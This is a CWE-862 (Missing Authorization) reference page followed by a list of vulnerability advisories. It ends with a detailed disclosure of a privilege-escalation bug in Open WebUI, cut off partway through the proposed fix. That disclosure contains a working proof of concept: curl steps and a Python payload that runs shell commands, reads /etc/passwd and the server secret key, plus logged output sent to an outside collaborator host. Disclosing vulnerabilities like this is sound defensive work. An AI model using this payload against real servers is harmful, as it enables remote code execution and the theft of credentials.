CWE-862
Weakness Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Dimensions
- Behavior-Property: Missing
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated Demonstrative_Examples, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Observed_Examples
updated Observed_Examples, Related_Attack_Patterns, Relationships
updated Relationships
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships, Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Observed_Examples, Relationships
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
20148 vulnerabilities reference this CWE, most recent first.
GHSA-P474-HCMV-9RV9
Vulnerability from github – Published: 2026-10-11 00:30 – Updated: 2026-10-11 00:30JeecgBoot through 3.9.5 contains a missing authorization vulnerability that allows low-privileged authenticated users to delete department permission bindings via the DELETE /sys/sysDepartPermission/deleteBatch endpoint. Attackers can obtain row ids from the unguarded list endpoint and submit them in the ids parameter to remove menus and buttons departments can grant to their roles.
{
"affected": [],
"aliases": [
"CVE-2026-108634"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-10T22:16:38Z",
"severity": "MODERATE"
},
"details": "JeecgBoot through 3.9.5 contains a missing authorization vulnerability that allows low-privileged authenticated users to delete department permission bindings via the DELETE /sys/sysDepartPermission/deleteBatch endpoint. Attackers can obtain row ids from the unguarded list endpoint and submit them in the ids parameter to remove menus and buttons departments can grant to their roles.",
"id": "GHSA-p474-hcmv-9rv9",
"modified": "2026-10-11T00:30:54Z",
"published": "2026-10-11T00:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108634"
},
{
"type": "WEB",
"url": "https://github.com/AnkesKasty/cve-request-poc/blob/a7b6d1423555812d8efa26c91c5d0683164b31e5/JeecgBoot/poc_depart_permission_delete_batch.py"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/JeecgBoot/blob/e3b9dc0aefe1943d9772b026f64ed671a7c82802/jeecg-boot/jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/controller/SysDepartPermissionController.java#L131-L136"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/jeecgboot-through-3.9.5-missing-authorization-via-sysdepartpermission-deletebatch-endpoint"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P49C-7HR8-WR97
Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2026-01-20 15:32Missing Authorization vulnerability in ergonet Ergonet Cache ergonet-varnish-cache allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ergonet Cache: from n/a through <= 1.0.11.
{
"affected": [],
"aliases": [
"CVE-2025-62867"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-09T16:18:03Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in ergonet Ergonet Cache ergonet-varnish-cache allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ergonet Cache: from n/a through \u003c= 1.0.11.",
"id": "GHSA-p49c-7hr8-wr97",
"modified": "2026-01-20T15:32:02Z",
"published": "2025-12-09T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62867"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/ergonet-varnish-cache/vulnerability/wordpress-ergonet-cache-plugin-1-0-11-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/ergonet-varnish-cache/vulnerability/wordpress-ergonet-cache-plugin-1-0-11-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P49M-W88C-9W8J
Vulnerability from github – Published: 2024-06-09 15:31 – Updated: 2024-06-09 15:31Missing Authorization vulnerability in Copy Content Protection Team Secure Copy Content Protection and Content Locking.This issue affects Secure Copy Content Protection and Content Locking: from n/a through 3.7.1.
{
"affected": [],
"aliases": [
"CVE-2024-32787"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-09T13:15:51Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Copy Content Protection Team Secure Copy Content Protection and Content Locking.This issue affects Secure Copy Content Protection and Content Locking: from n/a through 3.7.1.",
"id": "GHSA-p49m-w88c-9w8j",
"modified": "2024-06-09T15:31:10Z",
"published": "2024-06-09T15:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32787"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/secure-copy-content-protection/wordpress-secure-copy-content-protection-and-content-locking-plugin-3-7-1-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P49R-834H-PJWQ
Vulnerability from github – Published: 2023-12-04 03:30 – Updated: 2023-12-07 18:30In telecom service, there is a possible missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed
{
"affected": [],
"aliases": [
"CVE-2023-42736"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-04T01:15:11Z",
"severity": "HIGH"
},
"details": "In telecom service, there is a possible missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed",
"id": "GHSA-p49r-834h-pjwq",
"modified": "2023-12-07T18:30:27Z",
"published": "2023-12-04T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42736"
},
{
"type": "WEB",
"url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1731138365803266049"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P49R-XXPC-J8FJ
Vulnerability from github – Published: 2024-12-16 15:31 – Updated: 2026-04-01 18:32Missing Authorization vulnerability in 搜狐畅言 畅言评论系统 allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects 畅言评论系统: from n/a through 2.0.5.
{
"affected": [],
"aliases": [
"CVE-2024-55994"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-16T15:15:26Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in \u641c\u72d0\u7545\u8a00 \u7545\u8a00\u8bc4\u8bba\u7cfb\u7edf allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects \u7545\u8a00\u8bc4\u8bba\u7cfb\u7edf: from n/a through 2.0.5.",
"id": "GHSA-p49r-xxpc-j8fj",
"modified": "2026-04-01T18:32:51Z",
"published": "2024-12-16T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55994"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/changyan/vulnerability/wordpress-plugin-2-0-5-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-P49X-Q2CV-FCX5
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-26 21:31Missing Authorization vulnerability in WPDeveloper Essential Addons for Elementor essential-addons-for-elementor-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Essential Addons for Elementor: from n/a through <= 6.5.5.
{
"affected": [],
"aliases": [
"CVE-2026-23543"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T09:16:12Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in WPDeveloper Essential Addons for Elementor essential-addons-for-elementor-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Essential Addons for Elementor: from n/a through \u003c= 6.5.5.",
"id": "GHSA-p49x-q2cv-fcx5",
"modified": "2026-02-26T21:31:27Z",
"published": "2026-02-19T18:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23543"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/essential-addons-for-elementor-lite/vulnerability/wordpress-essential-addons-for-elementor-plugin-6-5-5-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P4CH-C2VV-V7CP
Vulnerability from github – Published: 2026-11-12 18:31 – Updated: 2026-11-12 18:31Joomla / WordPress Extension - acymailing.com - Missing authorization on subscription changes in AcyMailing 1.0.0 - 11.1.1 - An unauthenticated attacker who knows a subscriber's email address can unsubscribe that subscriber from one mailing list or from every mailing lists, without proving that the address is theirs. The affected feature also lets an attacker determine whether a given email address belongs to a subscriber of the site.
{
"affected": [],
"aliases": [
"CVE-2026-120466"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-12T18:17:18Z",
"severity": "HIGH"
},
"details": "Joomla / WordPress Extension - acymailing.com - Missing authorization on subscription changes in AcyMailing 1.0.0 - 11.1.1 - An unauthenticated attacker who knows a subscriber\u0027s email address can unsubscribe that subscriber from one mailing list or from every mailing lists, without proving that the address is theirs. The affected feature also lets an attacker determine whether a given email address belongs to a subscriber of the site.",
"id": "GHSA-p4ch-c2vv-v7cp",
"modified": "2026-11-12T18:31:50Z",
"published": "2026-11-12T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-120466"
},
{
"type": "WEB",
"url": "https://www.acymailing.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P4F7-7C33-9675
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2023-12-14 18:14A missing permission check in Jenkins Rundeck Plugin allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:rundeck"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10455"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-14T18:14:17Z",
"nvd_published_at": "2019-10-16T14:15:00Z",
"severity": "MODERATE"
},
"details": "A missing permission check in Jenkins Rundeck Plugin allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials.",
"id": "GHSA-p4f7-7c33-9675",
"modified": "2023-12-14T18:14:17Z",
"published": "2022-05-24T16:58:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10455"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/rundeck-plugin/commit/68177fc53f40d038233c9d54f3d59fdee9d6ced0"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/rundeck-plugin/commit/f0d115f14a9d2b0bfe4a33f1dc68aa637430b8ed"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/rundeck-plugin"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-10-16/#SECURITY-1460"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Missing permission check in Jenkins Rundeck Plugin"
}
GHSA-P4FF-2HPQ-9X64
Vulnerability from github – Published: 2022-02-15 01:45 – Updated: 2022-02-15 01:45A flaw was found in the Eclipse Che up to version 7.8.x, where it did not properly restrict access to workspace pods. An authenticated user can exploit this flaw to bypass JWT proxy and gain access to the workspace pods of another user. Successful exploitation requires knowledge of the service name and namespace of the target pod.
{
"affected": [],
"aliases": [
"CVE-2020-10689"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-03T15:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the Eclipse Che up to version 7.8.x, where it did not properly restrict access to workspace pods. An authenticated user can exploit this flaw to bypass JWT proxy and gain access to the workspace pods of another user. Successful exploitation requires knowledge of the service name and namespace of the target pod.",
"id": "GHSA-p4ff-2hpq-9x64",
"modified": "2022-02-15T01:45:54Z",
"published": "2022-02-15T01:45:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10689"
},
{
"type": "WEB",
"url": "https://github.com/eclipse/che/issues/15651"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10689"
},
{
"type": "PACKAGE",
"url": "https://github.com/eclipse/che"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Missing Authorization in Eclipse Che"
}
GHSA-P4FX-23FQ-JFG6
Vulnerability from github – Published: 2026-05-14 20:26 – Updated: 2026-05-15 23:55Summary
The tool update endpoint (POST /api/v1/tools/id/{id}/update) is missing the workspace.tools permission check that is present on the tool create endpoint. This allows a user who has been explicitly denied tool management capabilities ( and who the administrator considers untrusted for code execution ) to replace a tool's server-side Python content and trigger execution, bypassing the intended workspace.tools security boundary.
Open WebUI's security policy correctly states that workspace.tools is the trust boundary for code execution: "Granting a user the ability to create Tools is equivalent to giving them shell access to the server." This vulnerability breaks that boundary. A write access grant on a single tool is sufficient to bypass workspace.tools entirely.
This is not a report about exec() being unsandboxed (that is acknowledged as intended behavior). This is a report about a missing authorization check that allows an untrusted user to reach the exec() sink that should be gated behind workspace.tools.
Root Cause
The create and update endpoints for tools have asymmetric authorization checks. The create endpoint enforces the workspace.tools permission; the update endpoint does not.
Create endpoint, enforces workspace.tools
File: backend/open_webui/routers/tools.py, lines 326-345
@router.post('/create', response_model=Optional[ToolResponse])
async def create_new_tools(
request: Request,
form_data: ToolForm,
user=Depends(get_verified_user),
db: AsyncSession = Depends(get_async_session),
):
if user.role != 'admin' and not (
await has_permission(
user.id, 'workspace.tools', # ← CHECKED
request.app.state.config.USER_PERMISSIONS, db=db
)
or await has_permission(
user.id, 'workspace.tools_import', # ← CHECKED
request.app.state.config.USER_PERMISSIONS, db=db
)
):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)
# ... proceeds to exec(content, ...) at line 367
Update endpoint does NOT enforce workspace.tools
File: backend/open_webui/routers/tools.py, lines 451-485
@router.post('/id/{id}/update', response_model=Optional[ToolModel])
async def update_tools_by_id(
request: Request,
id: str,
form_data: ToolForm,
user=Depends(get_verified_user),
db: AsyncSession = Depends(get_async_session),
):
tools = await Tools.get_tool_by_id(id, db=db)
# ...
if (
tools.user_id != user.id
and not await AccessGrants.has_access(
user_id=user.id,
resource_type='tool',
resource_id=tools.id,
permission='write', # ← only checks write grant
db=db,
)
and user.role != 'admin'
):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)
# NOTE: No has_permission(user.id, 'workspace.tools', ...) check
# ... proceeds to exec(content, ...) at line 485
tool_module, frontmatter = await load_tool_module_by_id(id, content=form_data.content)
The write access grant is a collaboration primitive used across the application (knowledge bases, prompts, models, tools) for content editing. On every other resource type, a write grant allows editing metadata and content. On tools specifically, because the update endpoint triggers exec(), a write grant silently escalates to code execution but only because the workspace.tools check is missing. If the check were present (as it is on create), the write grant would not confer execution privilege.
Prerequisites
- Attacker (Bob): A regular user account with no
workspace.toolspermission.workspace.toolsis disabled by default (config.py:1364-1366), so this is the default state for all non-admin users. - Collaborator (Alice): A user with
workspace.toolspermission who creates a tool and grantswriteaccess to Bob. This is a normal collaboration workflow Alice is sharing editing access, not granting code execution rights. - No admin action required beyond the initial
workspace.toolsgrant to Alice (which is the intended, documented workflow).
Note on default configuration: The workspace.tools permission defaults to false. An administrator must explicitly enable it for at least one user (Alice). This is a documented, recommended workflow the security policy explicitly describes granting workspace.tools to trusted users. The vulnerability is not that Alice has this permission; it is that Bob can bypass it.
Proof of Concept
Environment
docker run -d -p 3000:8080 --name open-webui ghcr.io/open-webui/open-webui:main
Default configuration. Admin creates an account, enables workspace.tools for trusted users via Admin Panel > Settings > User Permissions.
Step-by-step reproduction
Step 1 Setup users
Create two non-admin users: Alice (trusted, will get workspace.tools) and Bob (untrusted, will NOT get workspace.tools).
ADMIN_TOKEN="<admin-jwt>"
BASE="http://localhost:3000"
# Create Alice
ALICE=$(curl -s -X POST "$BASE/api/v1/auths/add" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"alice","email":"alice@test.com","password":"alice123","role":"user"}')
ALICE_TOKEN=$(echo $ALICE | jq -r .token)
ALICE_ID=$(echo $ALICE | jq -r .id)
# Create Bob
BOB=$(curl -s -X POST "$BASE/api/v1/auths/add" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"bob","email":"bob@test.com","password":"bob12345","role":"user"}')
BOB_TOKEN=$(echo $BOB | jq -r .token)
BOB_ID=$(echo $BOB | jq -r .id)
Step 2 Admin enables workspace.tools globally
This is the documented workflow for allowing trusted users to build tools.
# Get current permissions
PERMS=$(curl -s "$BASE/api/v1/users/default/permissions" \
-H "Authorization: Bearer $ADMIN_TOKEN")
# Enable workspace.tools
PERMS=$(echo $PERMS | jq '.workspace.tools = true')
curl -s -X POST "$BASE/api/v1/users/default/permissions" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "$PERMS"
Step 3 Alice creates a benign tool
curl -s -X POST "$BASE/api/v1/tools/create" \
-H "Authorization: Bearer $ALICE_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"id": "helper_tool",
"name": "Helper Tool",
"content": "class Tools:\n def hello(self):\n return \"Hello\"\n",
"meta": {"description": "A benign helper", "manifest": {}}
}'
Step 4 Alice grants write access to Bob (collaboration)
Alice wants Bob to be able to edit the tool's description or parameters. This is a standard collaboration feature.
curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/access/update" \
-H "Authorization: Bearer $ALICE_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"access_grants\": [
{\"principal_type\": \"user\", \"principal_id\": \"$BOB_ID\", \"permission\": \"write\"}
]}"
Step 5 Admin disables workspace.tools
Admin revokes the global permission. Now neither Alice nor Bob (nor any non-admin) should be able to execute code via tools.
PERMS=$(echo $PERMS | jq '.workspace.tools = false')
curl -s -X POST "$BASE/api/v1/users/default/permissions" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "$PERMS"
Step 6 Verify Bob CANNOT create tools
curl -s -X POST "$BASE/api/v1/tools/create" \
-H "Authorization: Bearer $BOB_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"id": "bob_test",
"name": "Test",
"content": "class Tools: pass",
"meta": {"description": "test", "manifest": {}}
}'
# Returns: HTTP 401 "401 Unauthorized"
# Bob correctly CANNOT create tools.
Step 7 Bob updates the tool content → code execution (the bypass)
Bob replaces the tool's Python content. The update endpoint does not check workspace.tools, only the write access grant. The new content is passed to exec().
curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/update" \
-H "Authorization: Bearer $BOB_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"id": "helper_tool",
"name": "Helper Tool",
"content": "import os, sys, json, platform, asyncio\n\nproof = {\n \"poc\": \"workspace.tools bypass via write grant\",\n \"whoami\": os.popen(\"whoami\").read().strip(),\n \"hostname\": os.popen(\"hostname\").read().strip(),\n \"pid\": os.getpid(),\n \"secret_key\": os.environ.get(\"WEBUI_SECRET_KEY\", \"\")[:16] + \"...\",\n}\ntry:\n proof[\"etc_passwd\"] = open(\"/etc/passwd\").read()[:300]\nexcept: pass\n\ntry:\n from open_webui.models.tools import Tools as ToolsModel\n loop = asyncio.get_event_loop()\n loop.run_until_complete(\n ToolsModel.update_tool_by_id(\"helper_tool\", {\n \"meta\": {\"description\": json.dumps(proof), \"manifest\": {}}\n })\n )\nexcept: pass\n\nclass Tools:\n def __init__(self): pass\n",
"meta": {"description": "A benign helper", "manifest": {}}
}'
# Returns: HTTP 200 exec() ran. Bob achieved code execution.
Actual PoC Output
The following is a complete run of the automated PoC script:
Step 1: Creating user 'bob' with NO workspace.tools permission...
Created bob: c945be42-6fd7-465d-80c9-2d5a99eb6c2f
Bob's role: user (NO workspace.tools)
Step 2: Disabling workspace.tools globally...
workspace.tools = false (globally)
Step 2b: Verifying bob CANNOT create tools (no permission)...
POST /tools/create as bob: HTTP 401
Correctly denied: 401 Unauthorized
Step 3: Re-enabling workspace.tools for attacker, creating benign tool...
Tool 'poc_rce_2' created by attacker
Step 4: Attacker grants write access on poc_rce_2 to bob...
Grant response: HTTP 200
Bob now has write access on poc_rce_2
Step 5: Disabling workspace.tools globally again...
workspace.tools = false (globally)
Step 6: Bob updates tool content with malicious Python...
Bob has: write grant on poc_rce_2 ONLY
Bob lacks: workspace.tools permission
Endpoint: POST /api/v1/tools/id/poc_rce_2/update
HTTP Status: 200
Tool updated exec() ran with bob's request!
Step 7: Reading exfiltrated proof from DB...
PRIVILEGE ESCALATION CONFIRMED:
{
"poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)",
"vuln": "tools.py:467-481 update endpoint has NO workspace.tools check",
"whoami": "root",
"hostname": "3ffa54b2792d",
"cwd": "/app/backend",
"python": "/usr/local/bin/python3",
"pid": 1,
"platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36",
"secret_key": "9GDyak0KOfrakPTM...",
"etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/va"
}
Burp Collaborator Evidence
The container made an outbound HTTP POST to a Collaborator server, confirming code execution from within the container:
POST /poc2 HTTP/1.1
Accept-Encoding: identity
Content-Length: 720
Host: jvi4qe8yi4bu1x1wixnmktgp9gf73xrm.oastify.com
User-Agent: Python-urllib/3.11
Content-Type: application/json
Connection: close
{"poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)",
"vuln": "tools.py:467-481 update endpoint has NO workspace.tools check",
"whoami": "root", "hostname": "3ffa54b2792d", "cwd": "/app/backend",
"python": "/usr/local/bin/python3", "pid": 1,
"platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36",
"secret_key": "9GDyak0KOfrakPTM...",
"etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:..."}
Security Boundary Violated
Open WebUI's security policy defines workspace.tools as the trust boundary for code execution:
"Tool creation is controlled by the workspace.tools permission, which is disabled by default for non-admin users and should only be granted to fully trusted users who are equivalent to system administrators in terms of trust. Granting a user the ability to create Tools is equivalent to giving them shell access to the server."
This vulnerability breaks that boundary:
| Check | Create endpoint (line 333) | Update endpoint (line 467) |
|---|---|---|
user.role == 'admin' |
Yes | Yes |
has_permission('workspace.tools') |
Yes | No |
has_permission('workspace.tools_import') |
Yes | No |
AccessGrants.has_access('write') |
No | Yes |
tools.user_id == user.id |
No (new tool) | Yes |
The update endpoint substitutes AccessGrants.has_access('write') where has_permission('workspace.tools') should be. A write grant is a collaboration primitive for editing content; workspace.tools is the code execution trust boundary. These are different privilege levels, but the update endpoint conflates them.
Impact
An attacker with a regular user account and a write access grant on any single tool can:
- Execute arbitrary server-side code as root (PID 1 in the default Docker deployment)
- Read sensitive environment variables (
WEBUI_SECRET_KEY,OPENAI_API_KEY, etc.) - Read/write the application database (all users' chats, files, API keys)
- Read arbitrary files from the container filesystem
- Make outbound network requests to internal services
The attacker never needs workspace.tools permission. The administrator's explicit decision to deny this user code execution capability is bypassed.
Remediation
Recommended Fix
Add the workspace.tools permission check to the update endpoint, matching the create endpoint's authorization gate:
File: backend/open_webui/routers/tools.py, after line 481 (after the existing access check)
# Add workspace.tools check for content changes (code execution)
if form_data.content != tools.content:
if user.role != 'admin' and not (
await has_permission(
user.id, 'workspace.tools',
request.app.state.config.USER_PERMISSIONS, db=db
)
or await has_permission(
user.id, 'workspace.tools_import',
request.app.state.config.USER_PERMISSIONS, db=db
)
):
